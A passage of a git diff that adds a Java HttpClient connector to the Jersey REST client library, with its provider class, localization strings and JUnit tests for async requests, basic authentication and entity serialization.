+                        return new PasswordAuthentication(clientProxy.userName(), clientProxy.password() == null
+                                ? null : clientProxy.password().toCharArray());
+                    }
+                    @Override
+                    protected RequestorType getRequestorType() {
+                        return RequestorType.PROXY;
+                    }
+                };
+                builder.authenticator(authenticator);
+            }
+            builder.proxy(ProxySelector.of(proxyAddress));
+        });
+    }
+
+    /**
+     * Implements a {@link org.glassfish.jersey.message.internal.OutboundMessageContext.StreamProvider}
+     * for a {@link ByteArrayOutputStream}.
+     */
+    private static class ByteArrayOutputStreamProvider implements OutboundMessageContext.StreamProvider {
+        private ByteArrayOutputStream byteArrayOutputStream;
+
+        public ByteArrayOutputStream getByteArrayOutputStream() {
+            return byteArrayOutputStream;
+        }
+
+        @Override
+        public OutputStream getOutputStream(int contentLength) throws IOException {
+            this.byteArrayOutputStream = contentLength > 0 ? new ByteArrayOutputStream(contentLength)
+                    : new ByteArrayOutputStream();
+            return this.byteArrayOutputStream;
+        }
+    }
+
+    /**
+     * Builds a request for the {@link HttpClient} from Jersey's {@link ClientRequest}.
+     *
+     * @param request the Jersey request to get request data from
+     * @return the {@link HttpRequest} instance for the {@link HttpClient} request
+     */
+    private HttpRequest getHttpRequest(ClientRequest request) {
+        final SSLParamConfigurator sniConfig = SSLParamConfigurator.builder()
+                .uri(request.getUri())
+                .configuration(request.getConfiguration())
+                .build();
+
+        final URI sniUri = sniConfig.isSNIRequired() ? sniConfig.toIPRequestUri() : request.getUri();
+
+        HttpRequest.Builder builder = HttpRequest.newBuilder();
+        builder.uri(sniUri);
+        HttpRequest.BodyPublisher bodyPublisher = HttpRequest.BodyPublishers.noBody();
+        if (request.hasEntity()) {
+            try {
+                ByteArrayOutputStreamProvider byteBufferStreamProvider = new ByteArrayOutputStreamProvider();
+                request.setStreamProvider(byteBufferStreamProvider);
+                request.writeEntity();
+                bodyPublisher = HttpRequest.BodyPublishers.ofByteArray(
+                        byteBufferStreamProvider.getByteArrayOutputStream().toByteArray()
+                );
+            } catch (IOException e) {
+                throw new ProcessingException(LocalizationMessages.ERROR_INVALID_ENTITY(), e);
+            }
+        }
+        builder.method(request.getMethod(), bodyPublisher);
+        for (Map.Entry<String, List<String>> entry : request.getRequestHeaders().entrySet()) {
+            String headerName = entry.getKey();
+            for (String headerValue : entry.getValue()) {
+                builder.header(headerName, headerValue);
+            }
+        }
+        final Integer connectTimeout = request.resolveProperty(ClientProperties.READ_TIMEOUT, Integer.class);
+        if (connectTimeout != null) {
+            builder.timeout(Duration.ofMillis(connectTimeout));
+        }
+        processExtensions(builder, request);
+        return builder.build();
+    }
+
+     private static void processExtensions(HttpRequest.Builder builder, ClientRequest request) {
+        builder.expectContinue(Expect100ContinueUsage.isAllowed(request, request.getMethod()));
+    }
+
+    /**
+     * Retrieves a property from the configuration, if it was provided.
+     *
+     * @param configuration the {@link Configuration} to get the property information from
+     * @param propertyKey the name of the property to retrieve
+     * @param resultClass the type to which the property value should be case
+     * @param <T> the generic type parameter of the result type
+     * @return the requested property or {@code null}, if it was not provided or has the wrong type
+     */
+    @SuppressWarnings("unchecked")
+    private <T> T getPropertyOrNull(final Configuration configuration, final String propertyKey, final Class<T> resultClass) {
+        Object propertyObject = configuration.getProperty(propertyKey);
+        if (propertyObject == null) {
+            return null;
+        }
+        if (resultClass.isEnum() && propertyObject instanceof String) {
+            return (T) Enum.valueOf(resultClass.asSubclass(Enum.class), (String) propertyObject);
+        }
+        if (!resultClass.isInstance(propertyObject)) {
+            LOGGER.warning(LocalizationMessages.ERROR_INVALID_CLASS(propertyKey, resultClass.getName()));
+            return null;
+        }
+        return (T) propertyObject;
+    }
+
+    /**
+     * Translates a {@link HttpResponse} from the {@link HttpClient} to a Jersey {@link ClientResponse}.
+     *
+     * @param request the {@link ClientRequest} to get additional information (e.g. header values) from
+     * @param response the {@link HttpClient} response object
+     * @return the translated Jersey {@link ClientResponse} object
+     */
+    private ClientResponse buildClientResponse(ClientRequest request, HttpResponse<InputStream> response) {
+        ClientResponse clientResponse = new ClientResponse(Statuses.from(response.statusCode()), request);
+        MultivaluedMap<String, String> headers = clientResponse.getHeaders();
+        for (Map.Entry<String, List<String>> entry : response.headers().map().entrySet()) {
+            String headerName = entry.getKey();
+            if (headers.get(headerName) != null) {
+                headers.get(headerName).addAll(entry.getValue());
+            } else {
+                headers.put(headerName, entry.getValue());
+            }
+        }
+        final InputStream body = response.body();
+        try {
+            clientResponse.setEntityStream(body.available() != 1 ? body : new FirstByteCachingStream(body));
+        } catch (IOException ioe) {
+            throw new ProcessingException(ioe);
+        }
+        return clientResponse;
+    }
+
+    /**
+     * Returns the underlying {@link HttpClient} instance used by this connector.
+     *
+     * @return the Java {@link HttpClient} instance
+     */
+    public HttpClient getHttpClient() {
+        return httpClient;
+    }
+
+    @Override
+    public ClientResponse apply(ClientRequest request) {
+        HttpRequest httpRequest = getHttpRequest(request);
+        try {
+            HttpResponse<InputStream> response = this.httpClient.send(httpRequest, HttpResponse.BodyHandlers.ofInputStream());
+            return buildClientResponse(request, response);
+        } catch (IOException | InterruptedException e) {
+            throw new ProcessingException(e);
+        }
+    }
+
+    @Override
+    public Future<?> apply(ClientRequest request, AsyncConnectorCallback callback) {
+        HttpRequest httpRequest = getHttpRequest(request);
+        CompletableFuture<ClientResponse> response = this.httpClient
+                .sendAsync(httpRequest, HttpResponse.BodyHandlers.ofInputStream())
+                .thenApply(httpResponse -> buildClientResponse(request, httpResponse));
+        response.thenAccept(callback::response);
+        return response;
+    }
+
+    @Override
+    public String getName() {
+        return "Java HttpClient Connector " + Version.getVersion();
+    }
+
+    @Override
+    public void close() {
+
+    }
+
+    public CookieHandler getCookieHandler() {
+        final Optional<CookieHandler> cookieHandler = httpClient.cookieHandler();
+        if (cookieHandler.isPresent()) {
+            return cookieHandler.get();
+        }
+        return null;
+    }
+
+    private static class SniSslParameters {
+        private final SSLParameters sslParameters;
+
+        private SniSslParameters(SSLParameters sslParameters) {
+            this.sslParameters = sslParameters;
+        }
+
+        private SSLParameters getSslParameters(Client client) {
+            SSLParamConfigurator sniConfig = SSLParamConfigurator.builder()
+                    .configuration(client.getConfiguration())
+                    .build();
+
+            if (sniConfig.isSNIRequired()) {
+                SSLParameters sslParameters = this.sslParameters;
+                if (sslParameters == null) {
+                    sslParameters = new SSLParameters();
+                }
+                sniConfig.setSNIServerName(sslParameters);
+                return sslParameters;
+            } else {
+                return sslParameters;
+            }
+        }
+    }
+
+    /*
+     * The JDK stream returns available() == 1 even when read() == -1
+     * This class is to prevent it.
+     * Otherwise, the MBR is not found for 204
+     * See https://github.com/eclipse-ee4j/jersey/issues/5307
+     */
+    private static class FirstByteCachingStream extends InputStream {
+        private final InputStream inner; //jdk.internal.net.http.ResponseSubscribers.HttpResponseInputStream
+        private volatile int zero = -1; // int on zero index
+        private final Lock lock = new ReentrantLock();
+
+        private FirstByteCachingStream(InputStream inner) {
+            this.inner = inner;
+        }
+
+        @Override
+        public int read() throws IOException {
+            lock.lock();
+            try {
+                final int r = zero != -1 ? zero : inner.read();
+                zero = -1;
+                return r;
+            } finally {
+                lock.unlock();
+            }
+        }
+
+        @Override
+        public int read(byte[] b, int off, int len) throws IOException {
+            lock.lock();
+            int r;
+            try {
+                if (zero != -1) {
+                    b[off] = (byte) (zero & 0xFF);
+                    r = inner.read(b, off + 1, len - 1);
+                    r = (r == -1) ? 1 : r + 1;
+                } else {
+                    r = inner.read(b, off, len);
+                }
+                zero = -1;
+            } finally {
+                lock.unlock();
+            }
+            return r;
+
+        }
+
+        @Override
+        public int available() throws IOException {
+            lock.lock();
+            try {
+                if (zero != -1) {
+                    return 1;
+                }
+
+                int available = inner.available();
+                if (available != 1) {
+                    return available;
+                }
+
+                zero = inner.read();
+                if (zero == -1) {
+                    available = 0;
+                }
+                return available;
+            } finally {
+                lock.unlock();
+            }
+        }
+
+        @Override
+        public void close() throws IOException {
+            inner.close();
+            lock.lock();
+            zero = -1;
+            lock.unlock();
+        }
+
+        @Override
+        public boolean markSupported() {
+            return inner.markSupported();
+        }
+
+        @Override
+        public void mark(int readlimit) {
+            inner.mark(readlimit);
+        }
+
+        @Override
+        public void reset() throws IOException {
+            inner.reset();
+        }
+    }
+
+}
diff --git a/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpConnectorProvider.java b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpConnectorProvider.java
new file mode 100644
index 0000000..32bde1b
--- /dev/null
+++ b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/JavaNetHttpConnectorProvider.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configurable;
+import jakarta.ws.rs.core.Configuration;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.Initializable;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.client.spi.ConnectorProvider;
+
+import java.net.http.HttpClient;
+
+/**
+ * A provider class for a Jersey client {@link Connector} using Java's {@link HttpClient}.
+ * <p>
+ *     The following configuration properties are available:
+ *     <ul>
+ *         <li>{@link ClientProperties#CONNECT_TIMEOUT}</li>
+ *         <li>{@link ClientProperties#FOLLOW_REDIRECTS} (defaults to {@link java.net.http.HttpClient.Redirect#NORMAL} when unset)</li>
+ *         <li>{@link JavaNetHttpClientProperties#COOKIE_HANDLER}</li>
+ *         <li>{@link JavaNetHttpClientProperties#SSL_PARAMETERS}</li>
+ *     </ul>
+ * </p>
+ *
+ * @author Steffen Nießing
+ */
+public class JavaNetHttpConnectorProvider implements ConnectorProvider {
+    @Override
+    public Connector getConnector(Client client, Configuration runtimeConfig) {
+        return new JavaNetHttpConnector(client, runtimeConfig);
+    }
+
+    /**
+     * Retrieve the Java {@link HttpClient} used by the provided {@link JavaNetHttpConnector}.
+     *
+     * @param component the component from which the {@link JavaNetHttpConnector} should be retrieved
+     * @return a Java {@link HttpClient} instance
+     * @throws java.lang.IllegalArgumentException if a {@link JavaNetHttpConnector} cannot be provided from the given {@code component}
+     */
+    public static HttpClient getHttpClient(Configurable<?> component) {
+        try {
+            final Initializable<?> initializable = (Initializable<?>) component;
+
+            Connector connector = initializable.getConfiguration().getConnector() != null
+                    ? initializable.getConfiguration().getConnector()
+                    : initializable.preInitialize().getConfiguration().getConnector();
+
+            if (connector instanceof JavaNetHttpConnector) {
+                return ((JavaNetHttpConnector) connector).getHttpClient();
+            } else {
+                throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
+            }
+        } catch (ClassCastException classCastException) {
+            throw new IllegalArgumentException(
+                    LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()),
+                    classCastException
+            );
+        }
+    }
+}
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/package-info.java
similarity index 70%
copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
copy to connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/package-info.java
index dd25372..6a5e83a 100644
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
+++ b/connectors/jnh-connector/src/main/java/org/glassfish/jersey/jnh/connector/package-info.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,8 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.jsr166;
-
-public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> {
-}
+/**
+ * Jersey client {@link org.glassfish.jersey.client.spi.Connector connector} based on
+ * Java's {@link java.net.http.HttpClient}.
+ */
+package org.glassfish.jersey.jnh.connector;
\ No newline at end of file
diff --git a/connectors/jnh-connector/src/main/resources/org/glassfish/jersey/jnh/connector/localization.properties b/connectors/jnh-connector/src/main/resources/org/glassfish/jersey/jnh/connector/localization.properties
new file mode 100644
index 0000000..289b5e3
--- /dev/null
+++ b/connectors/jnh-connector/src/main/resources/org/glassfish/jersey/jnh/connector/localization.properties
@@ -0,0 +1,21 @@
+#
+# Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+#
+# This program and the accompanying materials are made available under the
+# terms of the Eclipse Public License v. 2.0, which is available at
+# http://www.eclipse.org/legal/epl-2.0.
+#
+# This Source Code may also be made available under the following Secondary
+# Licenses when the conditions for such availability set forth in the
+# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+# version 2 with the GNU Classpath Exception, which is available at
+# https://www.gnu.org/software/classpath/license.html.
+#
+# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+#
+
+error.body.publisher=Could not determine BodyPublisher for entity.
+error.invalid.class={0} is not an instance of {1}. Ignoring property.
+error.invalid.entity=Could not serialize entity.
+invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget.
+expected.connector.provider.not.used=The supplied component is not configured to use a JavaConnectorProvider.
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AbstractJavaConnectorTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AbstractJavaConnectorTest.java
new file mode 100644
index 0000000..6d6e3c0
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AbstractJavaConnectorTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.Consumes;
+import jakarta.ws.rs.DefaultValue;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.QueryParam;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Logger;
+
+/**
+ * An abstract base class for tests of the {@link JavaNetHttpConnector} providing common resources and utility methods.
+ */
+abstract class AbstractJavaConnectorTest extends JerseyTest {
+    private static final Logger LOGGER = Logger.getLogger(AbstractJavaConnectorTest.class.getName());
+    public static final String RESOURCE_PATH = "java-connector";
+
+    @Path(RESOURCE_PATH)
+    public static class JavaConnectorTestResource {
+        @GET
+        public String helloWorld() {
+            return "Hello World!";
+        }
+
+        @GET
+        @Path("redirect")
+        public Response redirectToHelloWorld() throws URISyntaxException {
+            return Response.seeOther(new URI(RESOURCE_PATH)).build();
+        }
+
+        @POST
+        @Path("echo")
+        @Produces(MediaType.TEXT_PLAIN)
+        @Consumes(MediaType.TEXT_PLAIN)
+        public String echo(String entity) {
+            return entity;
+        }
+
+        @POST
+        @Path("echo-byte-array")
+        @Produces(MediaType.APPLICATION_OCTET_STREAM)
+        @Consumes(MediaType.APPLICATION_OCTET_STREAM)
+        public byte[] echoByteArray(byte[] byteArray) {
+            return byteArray;
+        }
+
+        @POST
+        @Path("async")
+        public void asyncPostWithTimeout(@QueryParam("timeout") @DefaultValue("10") Long timeoutSeconds,
+                                         @Suspended final AsyncResponse asyncResponse,
+                                         String message) {
+            asyncResponse.setTimeoutHandler(asyncResponse1 ->
+                    asyncResponse1.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Timeout").build()));
+            asyncResponse.setTimeout(timeoutSeconds, TimeUnit.SECONDS);
+            CompletableFuture.runAsync(() -> {
+                        try {
+                            Thread.sleep(3000);
+                        } catch (InterruptedException e) {
+                            Thread.currentThread().interrupt();
+                            throw new RuntimeException(e);
+                        }
+                    })
+                    .handleAsync((unused, throwable) -> throwable != null ? "INTERRUPTED" : message)
+                    .thenApplyAsync(asyncResponse::resume);
+        }
+    }
+
+    protected Response request(String path) {
+        return target().path(path).request().get();
+    }
+
+    protected Response requestWithEntity(String path, String method, Entity<?> entity) {
+        return target().path(path).request().method(method, entity);
+    }
+
+    protected Future<Response> requestAsync(String path) {
+        return target().path(path).request().async().get();
+    }
+
+    protected Future<Response> requestAsyncWithEntity(String path, String method, Entity<?> entity) {
+        return target().path(path).request().async().method(method, entity);
+    }
+
+    @Override
+    protected Application configure() {
+        return new ResourceConfig(JavaConnectorTestResource.class)
+                .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        config.connectorProvider(new JavaNetHttpConnectorProvider());
+    }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AsyncTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AsyncTest.java
new file mode 100644
index 0000000..2df4ad4
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AsyncTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.Test;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.assertj.core.api.Assertions.assertThatCode;
+import static org.awaitility.Awaitility.await;
+
+/**
+ * Tests asynchronous and interleaved requests.
+ */
+public class AsyncTest extends AbstractJavaConnectorTest {
+    /**
+     * Checks, that 3 interleaved requests all complete and return their associated responses.
+     * Additionally checks, that all requests complete in 3 times the running time on the server.
+     */
+    @Test
+    public void testAsyncRequestsWithoutTimeout() {
+        Future<Response> request1 = this.requestAsyncWithEntity("java-connector/async", "POST", Entity.text("request1"));
+        Future<Response> request2 = this.requestAsyncWithEntity("java-connector/async", "POST", Entity.text("request2"));
+        Future<Response> request3 = this.requestAsyncWithEntity("java-connector/async", "POST", Entity.text("request3"));
+
+        assertThatCode(() -> {
+            // wait 3 times the processing time and throw if not completed until then
+            await().atMost(3 * 3000, TimeUnit.MILLISECONDS)
+                    .until(() -> request1.isDone() && request2.isDone() && request3.isDone());
+            String response1 = request1.get().readEntity(String.class);
+            String response2 = request2.get().readEntity(String.class);
+            String response3 = request3.get().readEntity(String.class);
+            assertThat(response1).isEqualTo("request1");
+            assertThat(response2).isEqualTo("request2");
+            assertThat(response3).isEqualTo("request3");
+        }).doesNotThrowAnyException();
+    }
+
+    /**
+     * Checks, that a status {@link Response.Status#SERVICE_UNAVAILABLE} is thrown, if a request computes too long.
+     */
+    @Test
+    public void testAsyncRequestsWithTimeout() throws ExecutionException, InterruptedException {
+        try {
+            Response response = target().path("java-connector").path("async").queryParam("timeout", 1)
+                    .request().async().post(Entity.text("")).get();
+            assertThat(response.getStatus()).isEqualTo(Response.Status.SERVICE_UNAVAILABLE.getStatusCode());
+            assertThat(response.readEntity(String.class)).isEqualTo("Timeout");
+        } catch (InterruptedException | ExecutionException ex) {
+            throw new RuntimeException("Could not correctly get response", ex);
+        }
+    }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AuthTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AuthTest.java
new file mode 100644
index 0000000..677d4d0
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/AuthTest.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.inject.Singleton;
+import jakarta.ws.rs.DELETE;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import java.net.Authenticator;
+import java.net.PasswordAuthentication;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class AuthTest extends JerseyTest {
+
+        private static final Logger LOGGER = Logger.getLogger(AuthTest.class.getName());
+        private static final String PATH = "test";
+
+        @Path("/test")
+        @Singleton
+        public static class AuthResource {
+
+            int requestCount = 0;
+
+            @GET
+            public String get(@Context HttpHeaders h) {
+                requestCount++;
+                String value = h.getRequestHeaders().getFirst("Authorization");
+                if (value == null) {
+                    assertEquals(1, requestCount);
+                    throw new WebApplicationException(
+                            Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+                } else {
+                    assertTrue(requestCount > 1);
+                }
+
+                return "GET";
+            }
+
+            @GET
+            @Path("filter")
+            public String getFilter(@Context HttpHeaders h) {
+                String value = h.getRequestHeaders().getFirst("Authorization");
+                if (value == null) {
+                    throw new WebApplicationException(
+                            Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+                }
+
+                return "GET";
+            }
+
+            @POST
+            public String post(@Context HttpHeaders h, String e) {
+                requestCount++;
+                String value = h.getRequestHeaders().getFirst("Authorization");
+                if (value == null) {
+                    assertEquals(1, requestCount);
+                    throw new WebApplicationException(
+                            Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+                } else {
+                    assertTrue(requestCount > 1);
+                }
+
+                return e;
+            }
+
+            @POST
+            @Path("filter")
+            public String postFilter(@Context HttpHeaders h, String e) {
+                String value = h.getRequestHeaders().getFirst("Authorization");
+                if (value == null) {
+                    throw new WebApplicationException(
+                            Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+                }
+
+                return e;
+            }
+
+            @DELETE
+            public void delete(@Context HttpHeaders h) {
+                requestCount++;
+                String value = h.getRequestHeaders().getFirst("Authorization");
+                if (value == null) {
+                    assertEquals(1, requestCount);
+                    throw new WebApplicationException(
+                            Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+                } else {
+                    assertTrue(requestCount > 1);
+                }
+            }
+
+            @DELETE
+            @Path("filter")
+            public void deleteFilter(@Context HttpHeaders h) {
+                String value = h.getRequestHeaders().getFirst("Authorization");
+                if (value == null) {
+                    throw new WebApplicationException(
+                            Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+                }
+            }
+
+            @DELETE
+            @Path("filter/withEntity")
+            public String deleteFilterWithEntity(@Context HttpHeaders h, String e) {
+                String value = h.getRequestHeaders().getFirst("Authorization");
+                if (value == null) {
+                    throw new WebApplicationException(
+                            Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+                }
+
+                return e;
+            }
+        }
+
+        @Override
+        protected Application configure() {
+        ResourceConfig config = new ResourceConfig(AuthResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+        @Test
+        public void testAuthGet() {
+        ClientConfig config = new ClientConfig();
+        config.property(JavaNetHttpClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+                new Authenticator() {
+                    @Override
+                    protected PasswordAuthentication getPasswordAuthentication() {
+                        return new PasswordAuthentication("name", "password".toCharArray());
+                    }
+                });
+        config.connectorProvider(new JavaNetHttpConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+
+        Response response = client.target(getBaseUri()).path(PATH).request().get();
+        assertEquals("GET", response.readEntity(String.class));
+        client.close();
+    }
+
+        @Test
+        public void testAuthPost() {
+        ClientConfig config = new ClientConfig();
+            config.property(JavaNetHttpClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+                    new Authenticator() {
+                        @Override
+                        protected PasswordAuthentication getPasswordAuthentication() {
+                            return new PasswordAuthentication("name", "password".toCharArray());
+                        }
+                    });
+        config.connectorProvider(new JavaNetHttpConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+
+        Response response = client.target(getBaseUri()).path(PATH).request().post(Entity.text("POST"));
+        assertEquals("POST", response.readEntity(String.class));
+        client.close();
+    }
+
+        @Test
+        public void testAuthDelete() {
+        ClientConfig config = new ClientConfig();
+            config.property(JavaNetHttpClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+                    new Authenticator() {
+                        @Override
+                        protected PasswordAuthentication getPasswordAuthentication() {
+                            return new PasswordAuthentication("name", "password".toCharArray());
+                        }
+                    });
+        config.connectorProvider(new JavaNetHttpConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+
+        Response response = client.target(getBaseUri()).path(PATH).request().delete();
+        assertEquals(response.getStatus(), 204);
+        client.close();
+    }
+
+    }
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/BodyPublisherTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/BodyPublisherTest.java
new file mode 100644
index 0000000..b57107c
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/BodyPublisherTest.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.Test;
+
+import java.nio.charset.StandardCharsets;
+
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.assertj.core.api.Assertions.assertThatCode;
+
+/**
+ * Checks, that request entities are correctly serialized and deserialized.
+ */
+public class BodyPublisherTest extends AbstractJavaConnectorTest {
+    /**
+     * Checks with a simple plain text entity.
+     */
+    @Test
+    public void testStringEntity() {
